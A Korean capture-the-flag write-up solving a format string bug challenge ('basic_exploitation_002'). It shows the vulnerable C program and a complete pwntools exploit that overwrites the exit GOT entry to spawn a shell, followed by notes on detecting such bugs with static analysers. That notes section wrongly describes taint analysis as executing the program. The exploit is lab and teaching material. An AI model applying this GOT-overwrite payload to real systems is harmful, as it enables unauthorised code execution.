풀이

Basic_exploitation_002는 FSB (Format String Bug)에 관한 문제이다.

FSB는 printf, sprintf 등 서식 문자를 사용하는 함수에서 매개변수를 검증하지 않아 발생하는 보안약점이며, 이를 통해 메모리 내용을 볼 수도 있다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

위 코드에서는 printf함수에 buf만이 들어왔기 때문에 취약하다고 볼 수 있다.
먼저 buf 변수를 통해 메모리 내용을 확인하고, exit() 함수에 get_shell()함수 주소를 덮어 씌움으로써 쉘을 실행시키도록 한다.

image FSB를 익스플로잇하여 첫번째 서식 문자부터 ‘AAAA’를 참조하는 것을 알 수 있다.

image 디스어셈블러를 통해 get_shell()의 주소가 0x8048609임을 알아냈다.

from pwn import *

p = remote("host1.dreamhack.games", 12773)
elf = ELF("./basic_exploitation_002")

exit = elf.got['exit']
get_shell = 0x8048609

payload = p32(exit)
payload += p32(exit + 2)
payload += "%34305d"
payload += "%1$n"
payload += "%33275d"
payload += "%2$n"

p.send(payload)
p.interactive()

FSB 탐지

디스어셈블러와 디버거가 아닌 자동화된 보안약점 분석 도구에서는 어떻게 FSB를 탐지하는지 알아본다. 먼저 FSB는 printf, sprintf 등의 취약한 함수를 사용할 경우 발생할 가능성이 높아지므로 printf_s, sprintf_s 등의 함수를 사용하여야 한다.

취약한 함수 이름 검색

Flawfinder, Cppcheck과 같은 보안약점 분석기는 위에서 말한 printf와 같은 취약한 함수들을 단순히 검색하여 해당 프로그램이 취약한 지 분석한다.

오염 분석, 데이터 흐름 분석 (Taint analysis, data flow analysis)

Clang Static Analyzer는 오염 분석, 데이터 흐름 분석 등의 분석 기법을 이용하여 메모리 값이 변하는지 직접 확인함으로써 보안약점을 탐지한다. image

두 방식의 장단점

단순히 취약한 함수 이름을 검색한다고 해서 취약하다고 탐지된 프로그램이 실제로 취약한 프로그램인지 확실하지 않을 수 있다. (false positive)
반면 단순 스트링 매칭 방식이기 때문에 빠른 시간 내에 프로그램을 분석할 수 있는 장점이 있다.

오염 분석, 데이터 흐름 분석은 프로그램을 실제로 실행하면서 취약점의 존재 유무를 판단하기 때문에 더 정확하다. 그러나 프로그램을 실행하면서 분석하기 때문에 분석 시간이 오래 걸린다는 단점이 있다.